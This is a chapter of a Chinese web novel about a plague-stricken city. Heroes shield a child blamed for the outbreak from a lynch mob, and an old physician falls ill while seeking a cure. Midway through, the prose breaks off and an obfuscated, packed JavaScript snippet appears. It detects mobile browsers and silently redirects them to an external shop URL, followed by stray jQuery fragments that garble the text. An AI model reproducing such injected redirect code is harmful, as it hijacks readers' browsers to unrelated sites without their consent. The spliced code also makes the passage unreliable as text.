46.瘟疫 三
    街上有人举着火把,有人提着灯笼,几十个愤怒的人把他们围在了中间。

    临街的百姓听见了声音,纷纷打开窗户,朝这边看了过来。

    带头的那个中年汉子往前走了一步,道:“把那小孩儿交出来,大家就放你们一马。”

    段星河把几人护在了身后,道:“你们没资格处置他。现在很多事情还不确定,得带到药庐里检查之后才能下结论。”

    对面一人大声道:“宁可错杀也不能放过,他可怜,我的孩子不可怜么!我的幺儿才三岁,半个月前病死了,他做错了什么!”

    百姓中不少人的家人不幸得了瘟疫死了,正在最悲痛的时候。方才听人说找到了瘟疫传播的源头,众人便聚集起来,一定要烧死那个瘟神泄愤。

    夷州的民风本来就彪悍,一群人闹哄哄的,大声喊道:“烧死他!烧死他!烧死他!”

    火光随着他们愤怒的声音不住涌动,有人从屋子里出来,加入了他们。孙小竹怕的要哭了,赵大海也顾不上会被传染了,把他紧紧地护在了怀里。有人捡起石头朝他们砸了过来,段星河把步云邪挡在了身后,被逼的连连后退。

    他肩膀上被石头砸了好几下,皱起了眉头。原则上不能对百姓动手,但这样下去他们不但走不了,还会被愤怒的人群撕碎。

    双方在街上僵持着,带头的人面目狰狞,吼道:“我说最后一遍,把那小孩儿给我!”

    赵大海抱着孙小竹,脑袋被石头砸的流血了也不撒手。孙小竹的脸都哭花了,浑身发抖道:“对不起,对不起,我又害人了……”

    赵大海道:“不是你的错,不怪你,别害怕。”

    那人见他们不肯把这孩子交出去,发起怒来,道:“把他抢过来!”

    一群人一拥而上,段星河使出擒拿的功夫放倒了两个,混乱中伸脚又绊倒了一个。那人摔在地上,愤然道:“你们还敢打人!”

    段星河一脸平静,道:“这算什么打人,不是你自己不看路摔倒了么?”

    一人抡着铁锨朝步云邪头顶砸过去,步云邪一闪躲开了。他身法如清风一般,掠到那人身后轻轻一推,那人就一个狗吃屎跌到了旁边的水沟里去。这些人虽然脾气大,却没练过功夫,不难对付。可一旦动起手来,情势就不好控制了。

    他们本来是要救人的,不想跟城里的百姓对立。可对面吵吵嚷嚷的,根本不听他们说什么。瘟疫发展到现在毫无平息的势头,每个人都充满了恐惧和愤怒,又无处发泄。一旦找到爆点,就遏制不住要炸。几个人冲到赵大海身后,抡起木棍把他打了一个踉跄。孙小竹从他怀里滚出来,脸上擦破了皮,缩成一团不住发抖。

    一人伸手要抓他,忽然想起这小孩儿邪性得很,不敢过去了。他回头对另外一人道:“你去!”

    那人也不想冒险,道:“凭什么让我上,那谁……你去。”

    周围的人都往后退去,他们虽然把孙小竹围住了,却没有一个人敢碰他。段星河跟步云邪被其他人缠住了,隔着黑压压的人群过不来。步云邪回头看了一眼,喊道:“保护那个孩子啊!”

    赵大海被几个人按在地上,本来动弹不得。此时脸憋得通红,怒吼了一声,把身上的人都挣开了。他冲过去抱住了孙小竹,道:“别怕,我保护你!”

    人们既想杀了那孩子,又怕被传染,一时间没人敢动。带头的那人不知从哪里扯了个麻袋过来,道:“把他的头蒙住,拖去烧了!”

    这孩子要是死了,治病的法子就再难找到了。步云邪急道:“不行!”

    段星河一拳把面前的人打倒,转身冲了过去,吼道:“我看谁敢动他!”

    这时候就见前头街上一群人提着灯笼朝这边奔了过来。百姓们回头望去,顿时慌了,纷纷道:“官兵来了,谁报的官?”

    这边闹得这么厉害,根本不用人去报官。街上有巡逻的官兵,发现这边不对劲,很快就调集人过来了。

    官兵头领挎着刀过来,大声道:“怎么回事,在街上聚众闹事?”

    带头的汉子道:“不是闹事!瘟疫是从这小孩儿身上传出去的,不能放他走,烧死他!”

    百姓们纷纷喊道:“烧死他!烧死他!烧死他!”

    官兵的神色严峻起来,见赵大海和段星河拼命护着个脏兮兮的小孩儿,知道事情不好处理了。步云邪出示了慈心药庐的令牌,道:“我们是城南药庐的人,这孩子是治疗瘟疫的关键,不能杀。我们要把他带回药庐研究,还请官爷理解。”

    百姓们仍然吵吵嚷嚷的,不肯放人。官兵头领见情势焦灼,只能先把他们分开再说。他道:“把这小孩儿带到府衙去,要怎么办由太守决定。你们几个带头闹事的,也跟我一起来吧。”

    百姓中几个带头的和段星河等人被带到了府衙。太守张巍白天忙活了一天,大半夜又被叫起来,两个眼圈都是黑的。他升了堂,坐在上首道:“怎么回事?”

    官兵头领道:“回禀大人,这两拨人在街上闹事,说要烧死这个孩子。”

    那带头的人道:“这小孩儿是瘟疫的源头,必须烧死他,要不然这一城的人都活不成!”

    步云邪道:“不能杀,我们得研究他的病例,才能找出根除瘟疫的法子。”

    太守明白是怎么回事了,他看着下头的人,一时间沉吟不语。府衙外有不少跟来的百姓,大声道:“别听他们的,烧死这个瘟神!烧死他!”

    喊的人越来越多,太守皱起了眉头,道:“肃静!”

    衙役们敲起了板子,纷纷道:“威——武——”

    百姓们仍然嚷嚷个不停,生怕瘟疫再传播下去。太守心里知道这个小孩儿十分关键,不能意气用事,但面对这么大的压力,他一时间无法决定。

    有人喊道:“杀了这个小孩儿,他是恶魔!”

    那带头的人也道:“还犹豫什么,留着他还会有更多人被传染,你、我、咱们大家谁都别想活!”

    他的话极具煽动性,让其他人更加激动了。段星河握紧了拳头,强忍着怒气道:“杀了他瘟疫也未必会停止,但传染上的人就真的活不成了。把他交给医生,算我求你们了!”

    带头的那人道:“你们不是外乡人么,我们为什么要相信你们?你们又有多大的本事,怎么能保证治好所有人!”

    段星河说不出话来,他不是真正的郎中,确实没办法保证。外面的人放声起哄,道:“就是,我们凭什么相信你!”

    赵大海护着孙小竹,回头一望,府衙外人头攒动,赶也赶不走。若是用强,说不定还会激起民愤,难怪太守老爷迟迟没有发话。他不知道该怎么解决这个困境,只觉得孙小竹的脸蛋冰凉,显然是怕得要命。此时就见步云邪上前一步,从腰包里掏出一块巴掌大的铜牌,高高地举了起来。

    “我以此物担保——”

    牌子上赫然刻着夷州王赐三等功勋,背面写着段星河的名字。这是先前他们低价卖粮食给官府时,夷州王给他们的奖赏。拥有此牌者便是夷州王欢迎的客人,可以在境内任意城镇买房、生活,与本地人无异,甚至会得到更高的礼遇。

    段星河没想到他下午回客栈歇了一会儿,便把这牌子带出来了。自己本来还觉得这玩意没什么用,没想到关键时刻拿出来居然能镇得住场子。张太守的神色严肃起来,见此物如见夷州王,对这块令牌十分敬重。

    府衙内安静下来,有人低声道:“那是什么?”

    另一人道:“好像是夷州王的令牌……他有咱们大王的认可。”

    夷州的人大多属于祈族,夷州王既是政治首领,也是他们一族的族长。这些人虽然不怎么把官府放在眼里,却对夷州王敬若神明。步云邪扬声道:“我以此物为凭,要求留这孩子一命。我要带他回城南药庐,研究治病的方法。”

    那人不耐烦道:“城里那么多人都感染了,我们没工夫等你慢慢研究。我说,你该不会是想把我们都活活拖死吧?”

    外头的百姓又骚动起来,充满了怀疑。步云邪实在没有别的法子能争取到时间了,把心一横,断然道:“一个月内研究不出来,我步云邪——以死谢罪!”

    段星河扭过头,诧异地看着他,觉得他实在没必要做到这个地步。

    他此言一出,周围的人也都安静下来。一个外乡人,为了救他们甘愿发下誓言,实在不该再被质疑了。张太守开口道:“既然步公子立下了军令状,那就按你说的办吧。来人,弄一顶专门的轿子,把这个孩子送到城南药庐,交给那边的医者。”

    几名官兵答应了,去备了轿子,护送着孙小竹出了府衙。其他人看着轿子从身边经过,都怕的要命,稀里哗啦往后退开老远。带头的那人还不甘心,盯了步云邪一眼,恶狠狠地道:“一个月内治不好大家,我带整个城的人来看你脑袋落地!”

    步云邪神色淡淡的,道:“要是治好了呢?”

    那人道:“治好了我给你磕头!”

    步云邪冷冷道:“好,那就一言为定。你叫?”

    那人粗声道:“我叫刘炎,是前头街上杀猪的。你小子姓步是吧,我记着你了。”

    那人说着一挥手,带着府衙外的人走了。张太守也起身道:“退堂吧。”

    赵大海窝着一股火,道:“杀猪的有什么了不起,这么横?”

    段星河走了过来,道:“什么地方都有这种地痞头子,别管他了。”

    三个人出了府衙,街上的人都散去了,夜风吹在身上有些凉。赵大海还有些心有余悸,道:“吓死我了,那么多人喊打喊杀的,那孩子也吓得不轻,一个劲儿地打哆嗦。幸亏二师兄带了令牌出来,聪明人就是想得周全。”

    步云邪一直沉默着,段星河想起刚才的情形,觉得他们咄咄逼人的,有些心疼。他道:“跟他们打包票干什么,一个月时间够么?”

    步云邪没什么表情,良久抬眼看着夜晚空荡荡的城,道:“一个月已经很久了,久到很多人都活不到那个时候。”

    段星河和赵大海都沉默下来,街上回荡着寂寥的风声。月光照下来,步云邪的脸庞显得格外苍白,轻声道:“如果到时候还治不好,我早晚会被传染,这里也会变成一座死城,打不打包票又有什么关系呢。”

    他虽然这么说,神色里却带着难过。段星河轻轻拍他的肩膀,道:“别这么想,咱们不是把孙小竹找到了么。李先生的医术高明,肯定能找到治病的法子的。”

    步云邪深吸了一口气,让自己振作起来,道:“你说得对,好不容易把他找到了,无论如何也不能放弃。”

    赵大海挠了挠头,从刚才起就想说了,道:“我一直抱着那孩子……你们说我会不会被传染啊?”

    段星河扬眉道:“怕死你还来?”

    赵大海道:“你们来了,我当然得来,好兄弟讲义气嘛!”

    步云邪道:“咱们三个跟病人密切接触了,都得进隔离点。去了熏熏衣裳,熬点预防的汤药喝,观察几天。”

    段星河倒没有不高兴,反而道:“那我能天天见你了?”

    步云邪嗯了一声,段星河笑了,仿佛觉得这样也不错。步云邪道:“这有什么好的?”

    段星河含笑道:“说好了有福同享有难同当嘛,走吧。”

    三人回到慈心药庐时,已经到了后半夜。官兵先一步把孙小竹送过来了,轿子停在前院,弟子们听说找到了零号病人,都如临大敌。所有人都全副武装起来,给轿子和轿夫消了毒,又给孙小竹浑身上下喷了一遍药水,这才把他送进了隔离病房。

    这边是单独的一个小院,之前大家以为糖人张是传染源时便让他住在这里。后来他转出去了,这里就一直空着。屋里都收拾干净了,有人给他送了点吃的。孙小竹待在房里,感觉整整齐齐的,被子也软软的,比在自己家里舒服多了。

    他想着方才的遭遇,步云邪他们冒着被全城敌对的危险也要保护自己,身上都被石头砸伤了。孙小竹心里一酸,很想报答他们。他们要自己待在这里,他就好好待着,这便是自己能为他们做的事了。

    隔离了孙小竹,大家都松了一口气,不管怎么样终于有一丝希望了。贺宇昭不想耽误师父休息,天明时分才去通报了此事。李慈心的眼睛都睁大了,穿上外袍道:“怎么不早叫我!”

    贺宇昭道:“我们已经把他安置好了,师父白天劳累,我们想让您多歇息一会儿。”

    李慈心简单收拾了一下,戴上了面罩,快步走了出去,道:“跟我去看看。”

    别人都不敢靠近那个孩子,既然是步云邪把他找回来的,还是由他照料。孙小竹已经洗了澡,换了一身干净衣裳,老老实实地待在屋里。李慈心来的路上,已经听人说了步云邪他们是费了多大的劲儿才把这个孩子找回来的,对他们十分感激。他进屋看了孙小竹,检查了他的状况,温声道:“好孩子,你住在这里,爷爷一定把你的病治好。”

    孙小竹点了点头,李慈心从屋里出来,站在走廊上道:“从今天起,我在这院子里住。你们把饭送到院门口就行了,外头的事宇昭来负责。”

    贺宇昭的心猛地一跳,意识到师父是要独自研究病例,这么做无异于牺牲自己。他道:“师父,这里太危险了,您年纪大了,要不然我来吧。”

    李慈心摇了摇头,道:“你们年轻,我老了,能救人是最大的价值了。”

    他说着转过头去,低低地咳嗽了几声,道:“我已经被传染了,病重是早晚的事,跟这孩子在一起也没什么。你们不一样,你们还有希望。”

    贺宇昭十分难过,不知道该怎么办才好。李慈心的目光温和,道:“这段时间里,我已经拟了几个方子,有零号病人在,肯定能找到最好的药方。”

    步云邪出声道:“我为先生做副手吧。”

    李慈心上了年纪,确实需要人帮忙。步云邪已经跟孙小竹密切接触了一天,放出去也得隔离。李慈心没有推辞,道:“那就多谢你了。”

    段星河和赵大海被隔离了三天,所幸没什么异状,被放了出来。两人好不容易混进来了,也没打算出去,就在前头领了个做杂事的活儿,帮他们搬一搬药草,维持秩序。

    段星河以为留在这里能经常见到步云邪,结果他被关在了单独的一间院子里,除了送饭的时候,其他时候都见不到他。

    段星河忙完了下午的活儿,去小厨房拿了食盒。这里的饭菜是专门为李慈心他们准备的,段星河提了过去,敲了敲门板。

    门上有个小窗户,从里头吱呀一声打开了,步云邪跟他对视了一眼。段星河把食盒递过去,两个人都戴着面罩,只能看见彼此的眼睛。虽然短暂,但每天能见这片刻就已经很宝贵了。

    步云邪的神色有些疲惫,这段时间

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687340|138533||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他每天只能睡不到三个时辰。他面临着被传染的压力,熬药、记录、照顾师父和病人,确实很累了。

    段星河很担心他,恨自己不懂医术,帮不上忙。他指了指边上的一个食盒,道:“给你的。”

    步云邪看那个食盒跟另外两个没什么区别,还是点了点头。他关上了气窗,把饭拿进去。李慈心正在书案前研究药方,他放下了食盒,又给孙小竹送了饭,自己才有了短暂的休息时间。

    他消过了毒,打开了食盒。里头有一碗八宝粥,一碗米饭,一碟炒青菜,一份酱豆腐,一块炖肉。米饭旁边有一个拇指大小的小纸包,方方正正的,白底上印着淡黄色的小花。他打开一看,里头是几块黑糖,还带着淡淡的桂花香气。

    他想起小时候寨子里爆发了瘟疫,自己也染上了病,只能在屋里待着。段星河想来看他,寨子门口的人怕传染,不让他进。段星河就用零花钱去集市上买了一盒桂花黑糖,托人送了进来,不想让他吃药苦。

    那时候自己还不明白发生了什么,小小的身影趴在门上向外望去,大人们来来回回地忙碌,那情形依稀还在眼前。一眨眼他们已经长大了,当时被保护在身后的他们,如今也成了直接面对危险的大人。

    他把糖塞进了嘴里,闭上了眼,让自己休息片刻。

    “等我,我能做到的。”

    他把糖纸放在心口的衣袋里,感到了一股力量。他端起了碗,打算多吃点饭,才有力气干活儿。

    傍晚歇了一会儿,步云邪去收拾食盒,发现李慈心根本没动饭。他走进里屋,见李慈心躺在床上,脸色蜡黄,头上满是汗水。步云邪的心一沉,意识到事情不妙。这些天李慈心跟那孩子接触的最密切,他本来就被传染上了,加上连日劳累,此时终于病倒了。

    李慈心怕传给步云邪,一直尽量避免跟他接触,有什么事都是写一张条放在隔间里。也多亏了他的保护,步云邪到现在还没被传染上。他伸手一碰李慈心的额头,感到一阵滚烫,已经发烧了。

    步云邪有些手足无措,李慈心是这里的顶梁柱,如果他倒下了,药庐里的这些人怎么办?

    李慈心睁开了眼,咳嗽了两声,道:“对不起……孩子,我撑不住了。”

    步云邪道:“我给您熬药,吃了药休息几天,会好起来的。”

    李慈心道:“我拟的方子,还有三个没试完……你熬了给我送一份来,看看成不成。”

    步云邪有些难过,都病成这样了,他想的还是拿自己试药。步云邪道:“我这就去。”

    他站了起来,李慈心忽然抓住了他的手,干裂的嘴唇动了动。步云邪道:“先生还有什么吩咐?”

    李慈心觉得把这么沉重的担子交给他,有些过分,可城里这么多人的性命都系在他们身上,不这么做也没有别的选择了。

    “小云,你是个好孩子,这段时间帮我做了很多事。我心里……早就把你当成我的徒弟了。”

    步云邪有些动容,李慈心道:“我若是不行了,这药庐的事就由贺宇昭主持,你来帮他。我的千金医典,传给你和他二人。这里的一切,也有你的一份。我已经写了手令在桌上,你若是愿意,便与我磕个头来,也算我收个合意的关门弟子。”

    步云邪的目光微微动荡,只觉得这么做有些不妥,道:“您的二弟子……”

    李慈心道:“他的心不在医道上,做个商人更合适。我不想勉强他,若是他要把属于他的一份带走,也由得他。”

    步云邪做这些事是出于医者的本分,从没想过要瓜分任何东西。他对于这里只是一个过客,不想卷到这些纷争中去。他道:“先生,你会好起来的,现在别想这些事。”

    李慈心的目光渐渐黯淡下来,明白了他的意思。他垂下了眼,道:“我是医生,我的情况我心里清楚……如果我死了,你就把我烧了。至于那个孩子,一直关在这里,不要让他再出去了。”

    步云邪的心情有些沉重,点了点头。他去了隔间,在书桌上找到了三个药方,还有一封手令,是李慈心亲笔写的。上面说他收了步云邪做徒弟,让他扶持贺宇昭做药庐的下一任掌事。

    他把手令收了起来,放在了抽屉里。现在不是想这些的时候,李慈心的时间所剩无几了,他必须尽快把药研究出来。

    步云邪熬了药,给李慈心喝了。李慈心不时咳嗽几声,方才他吐了血,外袍上沾了好几块血迹。步云邪帮他换了下来,把用过的东西消了毒,装在一个小车上。每天戌时会有人来收拾用过的东西,换新的过来。

    那人敲了敲门,步云邪把小车推出去,接了干净的衣衫和用具进来。他把衣服收在了衣橱里,回房歇了一会儿,感觉自己的身体也有些不舒服。

    步云邪伸手摸了一下自己的额头,感觉有些发烫。他不敢多想,只觉得能多撑一刻是一刻,可他的喉咙已经隐约疼起来了。他吃了药,早早地躺下了,希望明天能好一些。

    次日一早,步云邪感觉身体还是不太好受。他去看了李慈心,他的病也没什么起色,还是断断续续地咳嗽。这时候外头有人敲门,哐哐哐哐,好像一刻也等不得了。

    步云邪连忙去开了门,却见段星河在外头,低声道:“李先生病了?”

    他的神色十分迫切,又很担心。这件事只有步云邪知道,不知道消息是怎么走漏的。他诧异道:“你怎么知道?”

    段星河见他这个反应就知道是真的了,道:“前头吵起来了,有人见李慈心换下来的衣服上有血迹,又听见他在屋里咳嗽,撕心裂肺的,想是病得不轻。周子龙手底下的人说李慈心也被传染上了,药庐要垮了,要赶紧收拾东西分家,贺宇昭正在前头跟他掰扯呢。”

    步云邪没想到自己一时大意,泄露了这么重要的消息。这些天他疲惫得很,没办法把每件事都办的滴水不漏,揉了揉眉心道:“是我没想周全。”

    段星河没有怪他的意思,道:“纸里包不住火,这种事早晚会被他们知道。那姓周的说建这药庐他家出了三成的钱,是真的么?”

    步云邪听贺宇昭说过一些他们之间的事,道:“应该是吧。”

    周家在当地经营药铺,当初建这个药庐的时候,周家出了不少钱资助李慈心,让儿子周子龙做了李慈心的弟子。他家算盘打得精,想要百年之后连本带利把整个药庐继承过来。李慈心本来也不在乎这些,只想把医道传承下去。只是二弟子实在太精明算计,凡事只想着利益,与老先生治病救人的理念冲突,他也就渐渐对这个弟子失望了。

    周家能感到李慈心对周子龙的疏远,但也不舍得就这么放弃,一直拖到了现在。但如今连李慈心都病倒了,周家觉得没指望了,不想等到最后跟他们一起覆灭。一家人商量了一夜,打算赶紧撤出去。至于这药庐里的病人,他们也不想管了。

    周家要是此时走了,药庐就四分五裂了,其他的人也会逃个精光。没有医生,就算有官府的人也没用。

    城里的百姓还指望着他们治病,绝对不能在这个时候分家。贺宇昭现在必然焦头烂额的,李慈心病得奄奄一息,不能再拿这些事烦他了。

    段星河道:“那怎么办?”

    步云邪想起了昨天他给自己写的那封手令,老人家已经把他当成了徒弟,甚至像是亲生儿子一般信赖。步云邪不能坐视不理,抬手推开了院门,道:“走,过去看看。”